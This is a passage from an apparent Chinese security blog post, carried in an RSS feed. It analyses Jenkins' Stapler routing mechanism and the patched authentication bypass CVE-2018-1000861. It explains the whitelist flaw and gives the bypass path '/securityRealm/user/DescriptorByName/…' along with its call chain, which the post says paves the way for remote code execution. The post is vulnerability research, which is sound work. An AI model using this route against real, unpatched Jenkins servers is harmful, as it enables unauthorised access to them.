&lt;p&gt;在MetaClass的构造方法中，会再次调用其父类的&lt;code&gt;getMetaClass()&lt;/code&gt;方法，直到父类为空为止&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568188747361.png&#34; alt=&#34;1568188747361&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而此时的kclass为一开始传入的&lt;code&gt;hudson.model.Hudson&lt;/code&gt;，Hudson继承关系如下图&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568193610000.png&#34; alt=&#34;1568193610000&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此getMetaClass一直调用到class java.lang.Object，然后进行&lt;code&gt;buildDispatchers()&lt;/code&gt;方法并层层返回，因此整个初始化metaClass的过程是一个不断寻找继承树并递归调用buildDispatchers的过程，而buildDispatchers的功能就是提取该类中的所有函数信息存储在&lt;code&gt;MetaClass.dispatchers&lt;/code&gt;中，作为后续与url的映射关系&lt;/p&gt;

&lt;p&gt;buildDispatchers()方法按顺序调用如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;this.registerDoToken(node)

&lt;ul&gt;
&lt;li&gt;do&lt;token&gt;(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.prefix(&amp;ldquo;js&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;js&lt;token&gt;(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.annotated(JavaScriptMethod.class).iterator()

&lt;ul&gt;
&lt;li&gt;@JavaScriptMethod annotation&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.prefix(&amp;ldquo;get&amp;rdquo;)

&lt;ul&gt;
&lt;li&gt;get&lt;token&gt;()&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(String)&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(Int)&lt;/li&gt;
&lt;li&gt;get&lt;token&gt;(Long)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;getMethods.signature(new Class[]{StaplerRequest.class}).iterator()

&lt;ul&gt;
&lt;li&gt;get&lt;token&gt;(StaplerRequest)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;getMethods.signatureStartsWith(new Class[]{String.class}).name(&amp;ldquo;getDynamic&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;getDynamic(&amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;node.methods.name(&amp;ldquo;doDynamic&amp;rdquo;).iterator()

&lt;ul&gt;
&lt;li&gt;doDynamic(…)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这相当于规定了一个函数命名规则，只要符合这个规则的方法都能被访问到。&lt;/p&gt;

&lt;p&gt;注意此过程中，大部分dispatchers添加的都是&lt;code&gt;NameBasedDispatcher&lt;/code&gt;对象，除了如下几类：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DirectoryishDispatcher (url路径相关，如&lt;code&gt;/&lt;/code&gt;、&lt;code&gt;?&lt;/code&gt;、&lt;code&gt;../&lt;/code&gt;等)&lt;/li&gt;
&lt;li&gt;HttpDeletableDispatcher (&lt;code&gt;DELETE&lt;/code&gt;方法)&lt;/li&gt;
&lt;li&gt;IndexDispatcher (&lt;code&gt;doIndex(...)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Dispatcher (&lt;code&gt;getDynamic(…)&lt;/code&gt; &lt;code&gt;doDynamic(…)&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中&lt;code&gt;js&amp;lt;token&amp;gt;(…)&lt;/code&gt;对应的&lt;code&gt;JavaScriptProxyMethodDispatcher&lt;/code&gt;继承自&lt;code&gt;NameBasedDispatcher&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568196821681.png&#34; alt=&#34;1568196821681&#34; /&gt;&lt;/p&gt;

&lt;p&gt;hudson.model.Hudson经过递归buildDispatchers，缓存下的dispatchers有220个，根据上面的注意点，其中大部分方法会调用到&lt;code&gt;NameBasedDispatcher#dispatch()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568196931745.png&#34; alt=&#34;1568196931745&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568195521387.png&#34; alt=&#34;1568195521387&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;递归解析路由&#34;&gt;递归解析路由&lt;/h3&gt;

&lt;p&gt;回到org.kohsuke.stapler.Stapler#tryInvoke()，路径&lt;code&gt;/securityRealm/&lt;/code&gt;对应的是&lt;code&gt;hudson.security.SecurityRealm jenkins.model.Jenkins.getSecurityRealm()&lt;/code&gt;，同样也会调用到&lt;code&gt;NameBasedDispatcher#dispatch()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568197833515.png&#34; alt=&#34;1568197833515&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来可以看到&lt;code&gt;ff.invoke()&lt;/code&gt;返回一个&lt;code&gt;hudson.security.HudsonPrivateSecurityRealm&lt;/code&gt;对象，然后重新调用&lt;code&gt;org.kohsuke.stapler.Stapler#invoke()&lt;/code&gt;，这也是一个递归的过程。此时HudsonPrivateSecurityRealm返回的dispatchers有30个，在&lt;code&gt;Stapler#tryInvoke()&lt;/code&gt;中进行循环调用，在每个dispatchers动态生成的dispatch方法中，会根据解析到的url路径与当前的dispatchers进行对比，不一致直接返回false，同时还会判断是否存在下一层路由，如果存在则进入doDispatch&lt;/p&gt;

&lt;p&gt;比如此时解析到的url为/user/，则只有&lt;code&gt;hudson.security.HudsonPrivateSecurityRealm.getUser(String)&lt;/code&gt;方法进入下一步doDispatch&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568254883924.png&#34; alt=&#34;1568254883924&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当传入一个不存在的url，tryInvoke会返回false，抛出404，也就不继续往下解析了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568255416381.png&#34; alt=&#34;1568255416381&#34; /&gt;&lt;/p&gt;

&lt;p&gt;经过上面递归的tryInvoke过程，Jenkins才完成路由解析，调用过程的流程图如下&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568256409501.png&#34; alt=&#34;1568256409501&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;动态路由绕过&#34;&gt;动态路由绕过&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595&#34;&gt;https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2018-1000861&lt;/li&gt;
&lt;li&gt;影响版本：Jenkins&amp;lt;=2.153 / Jenkins LTS&amp;lt;=2.138.3&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这是一个动态路由绕过导致未授权访问的问题，由Orange提交：）参考 &lt;a href=&#34;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&#34;&gt;Hacking Jenkins Part 1 - Play with Dynamic Routing&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;白名单机制&#34;&gt;白名单机制&lt;/h3&gt;

&lt;p&gt;上面分析了Jenkins构建动态路由的过程，主要调用的是&lt;code&gt;org.kohsuke.stapler.Stapler#tryInvoke()&lt;/code&gt;方法，该方法对所属于&lt;code&gt;StaplerProxy&lt;/code&gt;的类会有一次权限检查，而一开始我们知道除了&lt;code&gt;boundObjectTable&lt;/code&gt;其他的node都被设置为&lt;code&gt;hudson.model.Hudson&lt;/code&gt;，上面也讲到Hudson类继承自Jenkins，而Jenkins的父类&lt;code&gt;AbstractCIBase&lt;/code&gt;是&lt;code&gt;StaplerProxy&lt;/code&gt;的一个接口实现，所以除了&lt;code&gt;boundObjectTable&lt;/code&gt;外所有node都会进行这个权限检查，具体实现在&lt;code&gt;jenkins.model.Jenkins#getTarget()&lt;/code&gt;中&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259600209.png&#34; alt=&#34;1568259600209&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个方法会先进行一次checkPermission，如果没有权限则会抛出异常还会再进行一次&lt;code&gt;isSubjectToMandatoryReadPermissionCheck&lt;/code&gt;检查，如果这个检查通过同样会正常返回&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568259863106.png&#34; alt=&#34;1568259863106&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这个检查中有一个白名单，如果存在于这个白名单中的url路由同样可以直接访问&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568273111696.png&#34; alt=&#34;1568273111696&#34; /&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;ALWAYS_READABLE_PATHS = ImmutableSet.of(&amp;quot;/login&amp;quot;, &amp;quot;/logout&amp;quot;, &amp;quot;/accessDenied&amp;quot;, &amp;quot;/adjuncts/&amp;quot;, &amp;quot;/error&amp;quot;, &amp;quot;/oops&amp;quot;, new String[] {
    &amp;quot;/signup&amp;quot;,
    &amp;quot;/tcpSlaveAgentListener&amp;quot;,
    &amp;quot;/federatedLoginService/&amp;quot;,
    &amp;quot;/securityRealm&amp;quot;,
    &amp;quot;/instance-identity&amp;quot;
});
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还是以&lt;code&gt;/securityRealm/user/admin/&lt;/code&gt;为例，在解析至&lt;code&gt;securityRealm&lt;/code&gt;的时候命中白名单，正常返回，而解析至&lt;code&gt;admin&lt;/code&gt;的时候因为&lt;code&gt;User&lt;/code&gt;类并非&lt;code&gt;StaplerProxy&lt;/code&gt;子类，所以会跳过getTarget()检查，成功绕过&lt;/p&gt;

&lt;h3 id=&#34;跨物件操作&#34;&gt;跨物件操作&lt;/h3&gt;

&lt;p&gt;接下来关注DescriptorByName&lt;/p&gt;

&lt;p&gt;从继承关系图可以看到User也是&lt;code&gt;DescriptorByNameOwner&lt;/code&gt;接口的实现&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571821898844.png&#34; alt=&#34;1571821898844&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而&lt;code&gt;DescriptorByNameOwner&lt;/code&gt;接口调用的是 &lt;code&gt;jenkins.model.Jenkins#getDescriptor&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public interface DescriptorByNameOwner extends ModelObject {
    default Descriptor getDescriptorByName(String id) {
        return Jenkins.getInstance().getDescriptorByName(id);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571822175710.png&#34; alt=&#34;1571822175710&#34; /&gt;&lt;/p&gt;

&lt;p&gt;该方法首先获取了所有的descriptors，如果传入的id匹配到了相应的descriptor就能去调用指定的方法，例如&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;，&lt;code&gt;getDisplayName()&lt;/code&gt;和&lt;code&gt;doCheckScript()&lt;/code&gt;都是能被调用到的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571823142780.png&#34; alt=&#34;1571823142780&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过构造&lt;code&gt;/securityRealm/user/DescriptorByName/xxx&lt;/code&gt;的方式就可以调用到任意类的任意方法，只要满足下面两个条件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;符合上文整理的命名规则；&lt;/li&gt;
&lt;li&gt;目标类继承了&lt;code&gt;Descriptor&lt;/code&gt;；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;利用链：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Jenkins-&amp;gt;HudsonPrivateSecurityRealm-&amp;gt;User-&amp;gt;DescriptorByNameOwner-&amp;gt;Jenkins-&amp;gt;Descriptor&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;在这个漏洞修复后还想再利用则必须开启&lt;code&gt;Allow anonymous read access&lt;/code&gt;匿名用户访问权限，否则会抛出404&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本报告上篇讨论了Jenkins动态路由机制和路由绕过的问题，通过这个脆弱点可以绕过用户权限检查从而访问到特定的物件，为下一步进行远程代码执行漏洞攻击降低了攻击门槛，是一个非常巧妙的入口。下篇将分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，欢迎关注。&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://jenkins.io/security/advisories/&#34;&gt;https://jenkins.io/security/advisories/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&#34;&gt;https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>